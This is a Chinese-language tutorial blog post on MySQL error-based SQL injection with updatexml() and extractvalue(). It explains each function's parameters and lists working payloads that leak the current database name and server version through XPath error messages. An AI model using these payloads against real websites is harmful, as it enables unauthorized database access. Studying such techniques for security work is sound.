当前网页请求流量比较大,第一打开部分内容没有加载出来
请刷新前网页 加载一次或多次ヾ(≧O≦)〃嗷~
温馨提示: 此网页不兼容ie浏览器, 关闭qq、360等浏览器的ie模式

updatexml和extractvalue函数报错注入

updatexml()函数报错注入

updatexml (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,了解Xpath语法。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

理解就是updatexml函数有查询功能 并且会再xpath处查询。使用语法构造错误 查询的结果已报错的形式显示

-----

select * from articles where id = 1  查找 articles表中id=1的内容

可以省略成 select

-----

报出当前数据库的数据

select * from articles where id = 1 and updatexml(2,database(),1) ;

 

报出当前数据库名称

select * from articles where id = 1 and updatexml(2,concat(0x3c,database(),0x3c),1);

 

<cms<

0x3c 16进制字符

select * from articles where id = 1 and updatexml(2,concat(0x7e,database(),0x7e),1);

 

~cms~

2、的文档文件名没有会报错。两个的位置随便替换、或者都是12任意值即可

concat(str1, str2,...) 返回结果是 参数拼接成字符串,没有参数为null,则返回值为null

里面当成sql语句执行从而报出信息.

 

查询数据库版本

select * from articles where id = 1 and updatexml(2,concat(0x7e,@@version,0x7e),1);

0x7e是链接符号~

 

只有一个链接字符

select * from articles where id = 1 and updatexml(2,concat(0x7e,@@version),1);

没有也行,就是报错不太准确

select * from articles where id = 1 and updatexml(2,concat(@@version),1);

extractvalue函数报错报错注入

参数:

1   文档名称

0x7e 16进制字符

concat 参数拼接成字符串里面的sql也会执行

select * from articles where id = 1 and extractvalue(2,concat(0x7e,@@version,0x7e));

select * from articles where id = 1 and extractvalue(2111111, concat(0x7e,@@version,0x7e));

select * from articles where id = 1 and extractvalue(2111111,concat(0x7e,database(),0x7e));

文档参考

https://dev.mysql.com/doc/refman/5.7/en/xml-functions.html

 

posted @ 2021-09-29 20:49  ⎛⎝秋泊君⎠⎞  阅读(177)  评论(1)    收藏  举报